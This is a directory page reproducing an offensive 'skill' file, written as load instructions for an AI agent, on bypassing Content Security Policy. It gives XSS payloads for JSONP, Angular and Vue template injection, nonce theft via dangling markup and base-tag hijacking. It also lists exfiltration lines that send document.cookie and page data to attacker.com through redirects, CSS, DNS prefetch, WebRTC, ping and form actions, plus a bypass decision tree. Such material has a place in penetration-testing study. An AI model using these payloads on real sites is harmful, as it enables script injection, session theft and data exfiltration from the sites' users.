Agent Skills by ALSEL
Anthropic Claudeデータ・分析⭐ リポ 0品質スコア 50/100

csp-bypass-advanced

CSPによる制限をバイパスするための高度なテクニックを提供します。XSSやデータ窃取がCSPによってブロックされている場合に使用し、ポリシーの脆弱性、信頼済みエンドポイントの悪用、nonceの漏洩、またはCSPでは防げない情報漏洩チャネルの発見に役立てます。

description の原文を見る

>- Advanced Content Security Policy bypass techniques. Use when XSS or data exfiltration is blocked by CSP and you need to find policy weaknesses, trusted endpoint abuse, nonce leakage, or exfiltration channels that CSP cannot block.

SKILL.md 本文

SKILL: CSP Bypass — Advanced Techniques

AI LOAD INSTRUCTION: Covers per-directive bypass techniques, nonce/hash abuse, trusted CDN exploitation, data exfiltration despite CSP, and framework-specific bypasses. Base models often suggest unsafe-inline bypass without checking if the CSP actually uses it, or miss the critical base-uri and object-src gaps.

0. RELATED ROUTING

  • xss-cross-site-scripting XSS ベクターの詳細(CSP 回避後の配信方法)
  • dangling-markup-injection CSP がスクリプトをブロックしても HTML インジェクションが存在する場合 — JavaScript なしでの流出
  • crlf-injection CRLF が CSP ヘッダーを挿入できる、または応答分割経由で nonce を盗める場合
  • waf-bypass-techniques WAF と CSP の両方を回避する必要がある場合
  • clickjacking CSP が frame-ancestors に欠ける場合 — クリックジャッキングが依然可能

1. CSP ディレクティブ リファレンス マトリックス

ディレクティブ制御対象デフォルトフォールバック
default-src明示的に設定されていないすべての -src ディレクティブのフォールバックなし(ブラウザのデフォルト:すべて許可)
script-srcJavaScript 実行default-src
style-srcCSS 読み込みdefault-src
img-src画像読み込みdefault-src
connect-srcXHR、fetch、WebSocket、EventSourcedefault-src
frame-srciframe/frame ソースdefault-src
font-srcフォント読み込みdefault-src
object-src<object><embed><applet>default-src
media-src<audio><video>default-src
base-uri<base> 要素フォールバックなし — 不在の場合は無制限
form-actionフォーム送信先フォールバックなし — 不在の場合は無制限
frame-ancestorsこのページを埋め込めるのは誰か(X-Frame-Options を置換)フォールバックなし — 不在の場合は無制限
report-uri / report-to違反レポート送信先N/A
navigate-toナビゲーション先(ブラウザサポート限定)フォールバックなし

重要な洞察: base-uriform-actionframe-ancestorsdefault-src にフォールバックしません。これらが欠けている場合、常に潜在的な回避ベクトルです。


2. ディレクティブ別の回避技法

2.1 script-src 'self'

アプリケーションは自身のオリジンからのスクリプトのみを許可します。回避ベクトル:

ベクトル技法
JSONP エンドポイント<script src="/api/jsonp?callback=alert(1)//"></script> — JSONP がコールバックを JS として反映
アップロード済み JS ファイル.js ファイルをアップロード(例:アバターアップロードが任意の拡張子を受け入れる)→ <script src="/uploads/evil.js"></script>
DOM XSS シンク既存の同一オリジン JS 内の DOM シンク(innerHTML、eval、document.write)を探す — URL フラグメント/パラメータ経由でインジェクト
Angular/Vue テンプレートインジェクションフレームワークが 'self' から読み込まれている場合、テンプレート式をインジェクト:{{constructor.constructor('alert(1)')()}}
Service Worker同一オリジンから SW を登録 → レスポンスを傍受・修正
パス混淆<script src="/user-content/;/legit.js"> — サーバーがパース誤りでユーザーコンテンツを返すが、URL は 'self' にマッチ

2.2 CDN ホワイトリスト付き script-src

script-src 'self' *.googleapis.com *.gstatic.com cdn.jsdelivr.net
ホワイトリスト済み CDN回避方法
cdnjs.cloudflare.comCDNJS 経由で任意の JS をホスト(コールバック/eval のあるライブラリを検索):angular.js → テンプレートインジェクション
cdn.jsdelivr.netjsdelivr は任意の npm パッケージまたは GitHub ファイルを配信:cdn.jsdelivr.net/npm/attacker-package@1.0.0/evil.js
*.googleapis.comGoogle JSONP エンドポイント、Google Maps コールバックパラメータ
unpkg.comjsdelivr と同じ — 任意の npm パッケージを配信
*.cloudfront.netCloudFront ディストリビューションは共有 — いかなる CF 顧客の JS も許可される

トリック: ホワイトリスト済みドメインで JSONP エンドポイントを検索:site:googleapis.com inurl:callback

2.3 script-src 'unsafe-eval'

eval()Function()setTimeout(string)setInterval(string) がすべて許可されます。

// テンプレートインジェクション → ブラウザ内の RCE 相当
[].constructor.constructor('alert(document.cookie)')()

// JSON.parse はコードを実行しませんが、結果が eval コンテキストで使われる場合:
// アプリケーションが実行:eval('var x = ' + JSON.parse(userInput))

2.4 script-src 'nonce-xxx'

マッチング nonce 属性を持つスクリプトのみが実行されます。

回避方法条件
Nonce 再利用サーバーがリクエスト全体またはすべてのユーザーで同じ nonce を使用 → 予測可能
CRLF 経由の nonce インジェクションレスポンスヘッダー内の CRLF → 既知の nonce を持つ新しい CSP ヘッダーをインジェクト、または <script nonce="known"> をインジェクト
dangling markup で nonce を盗む<img src="https://attacker.com/steal? (閉じられていない)→ ページコンテンツ(nonce を含む)が URL パラメータとして流出
DOM clobberingnonce チェックコードを DOM clobbering で上書き:<form id="nonce"><input id="nonce" value="attacker-controlled">
スクリプト gadgettrusted nonced スクリプトが DOM データを使用して新しいスクリプト要素を作成 — その DOM データをインジェクト

2.5 script-src 'strict-dynamic'

信頼の伝播:既に信頼されたスクリプトによって作成されたスクリプトも、ソースに関わらず信頼されます。

回避方法技法
base-uri インジェクション<base href="https://attacker.com/"> → 相対スクリプト src が攻撃者ドメインに解決。Trusted parent スクリプトが ./lib.js をロード、現在は https://attacker.com/lib.js を指す
Trusted コード内のスクリプト gadgetTrusted スクリプトが document.createElement('script'); s.src = location.hash.slice(1) を実行 → URL フラグメント経由でコントロール
Trusted スクリプト内の DOM XSSTrusted スクリプトがユーザー制御ソースから innerHTML を読む → インジェクトされた <script>strict-dynamic 経由で信頼されます

2.6 Angular / Vue CSP 回避

Angular(CSP 付き):

<!-- angular.js がホワイトリストされている場合、Angular テンプレート式は script-src をバイパス -->
<div ng-app ng-csp>
  {{$eval.constructor('alert(1)')()}}
</div>

<!-- Angular >= 1.6 サンドボックス削除、よりシンプル: -->
{{constructor.constructor('alert(1)')()}}

Vue.js:

<!-- Vue 2 ランタイムコンパイラ付き -->
<div id=app>{{_c.constructor('alert(1)')()}}</div>
<script src="https://whitelisted-cdn/vue.js"></script>
<script>new Vue({el:'#app'})</script>

2.7 object-src 欠落

object-src が設定されていない(default-src にフォールバック)、かつ default-src がいくつかのオリジンを許可する場合:

<!-- Flash ベースの回避(レガシー、ほぼパッチ済みだが古いシステムに依然存在) -->
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
  <param name="AllowScriptAccess" value="always">
</object>

<!-- PDF プラグイン悪用 -->
<embed src="/user-upload/evil.pdf" type="application/pdf">

2.8 base-uri 欠落

<!-- base タグをインジェクト → すべての相対 URL が攻撃者に解決 -->
<base href="https://attacker.com/">

<!-- 既存スクリプト:<script src="/js/app.js"> -->
<!-- 現在ロード:https://attacker.com/js/app.js -->

これは相対スクリプトパスの 'nonce-xxx''strict-dynamic'script-src 'self' をバイパスします。

2.9 frame-ancestors 欠落

frame-ancestors のない CSP → ページがフレーム化可能 → クリックジャッキング可能。

X-Frame-Options ヘッダーは CSP の frame-ancestors によって上書きされます。しかし CSP が frame-ancestors なしで存在する場合、一部のブラウザは XFO を完全に無視します。


3. META タグ vs. ヘッダーの CSP

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Meta タグの制限:

  • frame-ancestors を設定できない(meta では無視)
  • report-uri / report-to を設定できない
  • sandbox を設定できない
  • HTML インジェクション経由で meta タグが DOM 順序で 前に インジェクトされた場合、攻撃者の meta CSP が最初に処理される可能性(ブラウザは最初に遭遇したものを使用)
  • ページにヘッダー CSP と meta CSP の両方がある場合、両方が適用 されます(最も制限的なものが勝利)

4. CSP に関わらずデータ流出

connect-srcimg-src などがロックダウンされている場合、代替流出チャネル:

チャネルブロックするのに必要な CSP ディレクティブ技法
DNS プリフェッチなし(CSP は DNS をブロックできない)<link rel="dns-prefetch" href="//data.attacker.com">
WebRTCなし(CSP はブロックできない)new RTCPeerConnection({iceServers:[{urls:'stun:attacker.com'}]})
<link rel=prefetch>default-src または connect-srcCSP では見落とされることが多い
リダイレクトベースnavigate-to (めったに設定されない)location='https://attacker.com/?'+document.cookie
CSS インジェクションstyle-src<style>body{background:url(https://attacker.com/?data)}</style>
<a ping>connect-src<a ping="https://attacker.com/collect" href="#">click</a>
report-uri 流出N/ACSP 違反をトリガー → レポートにブロックされた URI が含まれる
フォーム送信form-action<form action="https://attacker.com/"><button>Submit</button></form>

DNS ベースの流出は CSP でブロックするのがほぼ不可能 — これが最も信頼できるチャネルです。


5. CSP 回避判断木

CSP 存在?
├── 完全なポリシーを読む(レスポンスヘッダー + meta タグ)
│
├── 明らかな脆弱性をチェック
│   ├── script-src に 'unsafe-inline' ? → 標準 XSS が機能
│   ├── script-src に 'unsafe-eval' ? → eval/Function/setTimeout 回避
│   ├── script-src に * または data: ? → <script src="data:,alert(1)">
│   └── 一部のページに CSP ヘッダーなし? → CSP 不在のページを探す
│
├── 欠落ディレクティブをチェック
│   ├── base-uri なし? → <base href="https://attacker.com/"> → 相対スクリプトをハイジャック
│   ├── object-src なし? → Flash/プラグイン ベースの回避(レガシー)
│   ├── form-action なし? → フォーム送信経由での流出
│   ├── frame-ancestors なし? → クリックジャッキング可能
│   └── connect-src が lax な default-src にフォールバック? → fetch/XHR 流出
│
├── script-src 'self' ?
│   ├── 同一オリジン内の JSONP エンドポイントを探す
│   ├── ファイルアップロードを探す → .js ファイルをアップロード
│   ├── 既存の同一オリジン スクリプト内の DOM XSS を探す
│   └── 自身から読み込まれた Angular/Vue を探す → テンプレートインジェクション
│
├── CDN ホワイトリスト付き script-src ?
│   ├── CDN で JSONP エンドポイントをチェック
│   ├── jsdelivr/unpkg/cdnjs をチェック → 攻撃者制御パッケージをロード
│   └── *.cloudfront.net をチェック → 共有ディストリビューション名前空間
│
├── script-src 'nonce-xxx' ?
│   ├── Nonce がリクエスト全体で再利用されている? → リプレイ
│   ├── CRLF インジェクション利用可能? → Nonce をインジェクト
│   ├── Dangling markup で nonce を盗む
│   └── Trusted スクリプト内のスクリプト gadget
│
├── script-src 'strict-dynamic' ?
│   ├── base-uri が設定されていない? → <base> ハイジャック
│   ├── Trusted スクリプト内の DOM XSS ? → 信頼を継承
│   └── DOM データから動的スクリプトを作成するスクリプト gadget
│
└── すべてのスクリプト実行がブロックされている?
    ├── Dangling markup インジェクション → JS なしで流出(../dangling-markup-injection/SKILL.md 参照)
    ├── DNS プリフェッチ流出
    ├── WebRTC 流出
    ├── データ抽出用 CSS インジェクション
    └── フォームアクション流出

6. トリックノート — AI モデルが見落とすもの

  1. default-src 'self'base-uri または form-action を制限しない — これらはフォールバックなし。これが #1 CSP ミス。
  2. strict-dynamic はホワイトリストを無視: strict-dynamic が存在する場合、ホストベースの許可リストと 'self' はスクリプト読み込みで無視されます。Nonce/hash と信頼の伝播のみが重要。
  3. 複数の CSP はスタック: Content-Security-Policy ヘッダーと <meta> CSP の両方が存在する場合、ブラウザは両方を実行 — 実効ポリシーは交差(最も制限的)。
  4. Content-Security-Policy-Report-Only は強制されない — レポートのみ。正しいヘッダー名をチェック。
  5. Nonce 長は重要: Nonce は ≥128 ビットのエントロピーであるべき。短いまたは予測可能な nonce はブルートフォース/推測可能。
  6. Report-uri 情報開示: report-uri に送信された CSP 違反レポートには blocked-urisource-fileline-number が含まれます — これはレポート エンドポイントを制御する者に内部 URL、スクリプトパス、ページ構造を漏らす可能性があります。
  7. script-src 内の data:: script-src 'self' data:<script src="data:text/javascript,alert(1)"> を許可 — 簡単な回避だが、実世界の CSP で一般的。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

OpenAIデータ・分析⭐ リポ 1,451

hugging-face-trackio

Trackioを使用してMLトレーニング実験を追跡・可視化できます。トレーニング中のメトリクスログ記録(Python API)、トレーニング診断のアラート発火、ログされたメトリクスの取得・分析(CLI)が必要な場合に活用してください。リアルタイムダッシュボード表示、Webhookを使用したアラート、HF Space同期、自動化向けのJSON出力に対応しています。

by gradio-app
汎用データ・分析⭐ リポ 855

btc-bottom-model

ビットコインのサイクルタイミングモデルで、加重スコアリングシステムを搭載しています。日次パルス(4指標、32ポイント)とウィークリー構造(9指標、68ポイント)の2カテゴリーにわたる13の指標を追跡し、0~100のマーケットヒートスコアを算出します。ETFフロー、ファンディングレート、ロング/ショート比率、恐怖・貪欲指数、LTH-MVRV、NUPL、SOPR(LTH+STH)、LTH供給率、移動平均倍率(365日MA、200週MA)、週次RSI、出来高トレンドに対応します。市場サイクル全体を通じて買いと売りの両方の推奨を提供します。ビットコインの底値拾い、BTCサイクルポジション、買い時・売り時、オンチェーン指標、MVRV、NUPL、SOPR、LTH動向、ETFの流出入、ファンディングレート、恐怖指数、ビットコインが過熱状態か、マイナーコスト、暗号資産市場のセンチメント、BTCのポジションサイジング、「今ビットコインを買うべきか」「BTCが天井をつけているか」「オンチェーン指標は何を示しているか」といった質問の際にこのスキルを活用します。

by star23
Anthropic Claudeデータ・分析⭐ リポ 380

protein_solubility_optimization

タンパク質の溶解性最適化 - タンパク質の溶解性を最適化します。タンパク質の特性を計算し、溶解性と親水性を予測し、有効な変異を提案します。タンパク質配列の特性計算、タンパク質機能の予測、親水性計算、ゼロショット配列予測を含むタンパク質エンジニアリング業務に使用できます。3つのSCPサーバーから4つのツールを統合しています。

by SpectrAI-Initiative
Anthropic Claudeデータ・分析⭐ リポ 1,743

research-lookup

Parallel Chat APIまたはPerplexity sonar-pro-searchを使用して、最新の研究情報を検索できます。学術論文の検索にも対応しています。クエリは自動的に最適なバックエンドにルーティングされるため、論文の検索、研究データの収集、科学情報の検証に活用できます。

by K-Dense-AI
Anthropic Claudeデータ・分析⭐ リポ 299

tree-formatting

ggtree(R)またはiTOL(ウェブ)を使用して、系統樹の可視化とフォーマットを行います。系統樹を図として描画する際、ツリーレイアウトの選択、分類学に基づく枝やラベルの色付け、クレードの折りたたみ、サポート値の表示、またはツリーへのオーバーレイ追加が必要な場合に使用してください。系統推定(protein-phylogenyスキルを使用)やドメイン注釈(今後の独立したスキル)には使用しないでください。

by majiayu000
汎用データ・分析⭐ リポ 145

querying-indonesian-gov-data

インドネシア政府の50以上のAPIとデータソースに接続できます。BPJPH(ハラール認証)、BOM(食品安全)、OJK(金融適正性)、BPS(統計)、BMKG(気象・地震)、インドネシア中央銀行(為替レート)、IDX(株式)、CKAN公開データポータル、pasal.id(第三者法MCP)に対応しています。インドネシア政府データを活用したアプリ開発、.go.idウェブサイトのスクレイピング、ハラール認証の確認、企業の法的適正性の検証、金融機関ステータスの照会、またはインドネシアMCPサーバーへの接続時に使用できます。CSRF処理、CKAN API使用方法、IP制限回避など、すぐに実行可能なPythonパターンを含んでいます。

by suryast
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT